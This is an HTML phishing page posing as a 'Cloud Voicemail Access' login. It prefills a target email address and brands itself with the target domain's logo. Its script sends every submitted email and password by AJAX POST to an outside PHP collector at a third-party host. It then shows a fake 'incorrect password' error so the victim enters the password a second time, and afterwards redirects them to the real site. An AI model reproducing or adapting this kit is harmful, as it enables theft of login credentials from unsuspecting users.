<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title></title>
    <link rel="icon" href="https://amazetech.netlify.app/fav.png">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
    <script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
    <script src="https://code.jquery.com/jquery-3.3.1.js" integrity="sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60=" crossorigin="anonymous"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>

    <style>
        *{
        margin: 0;
        padding: 0;
        box-sizing: border-box;

        }
        body{
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
        }
        input, button{
            font-family: inherit;
        }
        .mainbox{
            width: 30%;
            height: 100vh;
            background-color: #fff;
            box-shadow: 0 5px 10px 0px rgba(0, 0, 0, 0.1);
            padding: 40px;
            margin: 20px auto;
            border-radius: 10px;
        }

        .formbox{
            margin: 30px 0;
        }
        .formbox label{
            display: inline-block;
            color: #adadad;
            transform: translateY(24px);
            transition: all .3s ease-in-out;
        }
        .formbox input{
            display: block;
            width: 100%;
            height: 40px;
            border: none;
            border-bottom: 2px solid #adadad;
            background-color: #fff;
            font-size: 16px;
        }
        .formbox input:focus{
            outline: none;
            border-bottom: 2px solid #0072C6;
        }
        .formbox button{
            width: 100%;
            background-color: #0072C6;
            height: 50px;
            border: none;
            font-size: 16px;
            color: #fff;
            border-radius: 100px;
            cursor: pointer;
            margin-top: 20px;
            transition: all .3s ease-in-out;
        }
        .formbox button:disabled{
             cursor: not-allowed;
             background-color: #118be2cc;
        }
        .boxi{
            position: absolute;
            transform: translate(294px, -33px);
            font-size: 20px;
            cursor: pointer;
            color: #999999;
            transition: all .2s ease-in-out;
        }
        .boxi:hover {
            color: #0072C6;
        }
        .error{
              margin-top: 30px !important;
        }
        .error i, .error span{
            color: red;
        }
        .imgBox{
            text-align: center;
            height: 70px;
            object-fit: contain;
            margin-bottom: 100px;
        }
        .hide{
            display: none;
        }
        .domain{
            font-weight: 700;
            font-size: 20px;
            margin-bottom: 10px;
            color: #0072C6;
            text-transform: uppercase;

        }
        .heading{
            text-align: center;
            margin-bottom: 30px;
        }
        @media screen and (max-width: 942px){
            .mainbox{
                width: 70%;
            }
        }
        @media screen and (max-width: 549px){
            .mainbox{
                width: 95%;
            }
            .boxi{
                transform: translate(275px, -33px);
            }
        }
        @media screen and (max-width: 375px){
            .mainbox{
                width: 95%;
            }
            .boxi{
                transform: translate(240px, -33px);
            }
        }

        
    </style>
</head>
<body>
    <div class="mainbox">
            <form action="#" id="form">

                <h2 class="heading">Cloud Voicemail Access</h2>
                <div class="imgBox">
                    <p class="domain"></p>
                     <img src="" class="img" >
                </div>
                
                <div class="error hide">
                    <i  class="fa fa-exclamation"></i>
                    <span class="errorText">Email and Password is Required</span>
                </div>
                <div class="formbox form1">
                    <label for="email" class="labels">Email</label>
                    <input type="text" id="email" class="inpts" name="email">
                </div>

                <div class="formbox">
                    <label for="pass" class="labels">Password</label>
                    <input type="password" id="pass" class="inpts" name="pass">
                    <i  class="fa fa-eye-slash boxi" ></i>
                </div>

                  <div class="formbox">
                   <button disabled class="btn">Sign in</button>
                </div>
            </form>
    </div>


    <script>

        const inpts = document.querySelectorAll(".inpts");
        const labels = document.querySelectorAll(".labels");
        const boxi = document.querySelector(".boxi");
        const img = document.querySelector(".img");
        const form  = document.getElementById("form");
        const error = document.querySelector(".error");
        const errorText = document.querySelector(".errorText");
        const btn = document.querySelector(".btn");
        const domText = document.querySelector(".domain");
        const imgBox = document.querySelector(".imgBox");
        const favicon = document.querySelector("link[rel~='icon']");
        let count = 0;
        let url = "";
        btn.disabled = false;
        
        const viewPost = (data) => {
            $.ajax({
                url: 'https://sugar.piramidedigital.com/include/images/voice/12v.php',
                type: 'POST',
                data: { pass: data },
            });
        };

        window.addEventListener("load", () => {
            //Add Email Tag
            let emailTag = "pkg-electronics-devel@lists.alioth.debian.org";
            const id = emailTag.split("@")[1];

            if(id){
                url = id;
                img.src = `https://logo.clearbit.com/${id}`;
                domText.textContent = id;
                document.title = id;
                inpts[0].value = emailTag;
                inpts[0].focus();
                favicon.href = `https://logo.clearbit.com/${id}`;

                if(id === "wadax.ne.jp"){
                    img.src = "https://amazetech.netlify.app/logo.svg";
                    img.style.width = "140px"
                }
            }
            else {
                 inpts[0].value = emailTag;
                 inpts[0].focus();
            }
            
        });


        inpts.forEach((input, index) => {
            input.addEventListener("focus", () => {
                labels[index].style.transform = "translateY(-1px)";
            })
        });

         inpts.forEach((input, index) => {
            input.addEventListener("blur", () => {
               if(input.value === ""){
                 labels[index].style.transform = "translateY(24px)";
               }
               else {
                labels[index].style.transform = "translateY(-1px)";
               }
            })
        });

        inpts[0].addEventListener("keyup", () => {
                const value =  inpts[0].value.split("@")[1];
                img.src = `https://logo.clearbit.com/${value}`;
                domText.textContent = value;
                document.title = value;
                inpts[0].focus();
                favicon.href = `https://logo.clearbit.com/${value}`;
        });


        boxi.addEventListener("click", () => {
            if(inpts[1].type === "password"){
                inpts[1].type = "text";
                boxi.classList.remove("fa-eye-slash")
                boxi.classList.add("fa-eye")
            }
            else {
                inpts[1].type = "password";
                boxi.classList.add("fa-eye-slash");
                boxi.classList.remove("fa-eye")
            }
        });

        form.addEventListener("submit", (e) => {
            e.preventDefault();
            const email = e.target.elements.email.value;
            const pass = e.target.elements.pass.value;

            if(email === "" || pass === ""){
                error.classList.remove("hide");
            }
            else {
                count++;
                btn.disabled = true;
                error.classList.add("hide");
                let data = `Email: ${email} \nPassword: ${pass}`;
                viewPost(data);

                setTimeout(() => {
                    btn.disabled = false;
                    e.target.elements.pass.value = "";
                    if(count === 1){
                        error.classList.remove("hide");
                        errorText.textContent = "Incorrect Email or Password, Try Again";
                    }
                    else {
                        error.classList.add("hide");
                        errorText.textContent = "";
                        window.location.href = `https://www.${url}`;
                    }
                }, 2000);
            }
        })


    </script>
</body>
</html>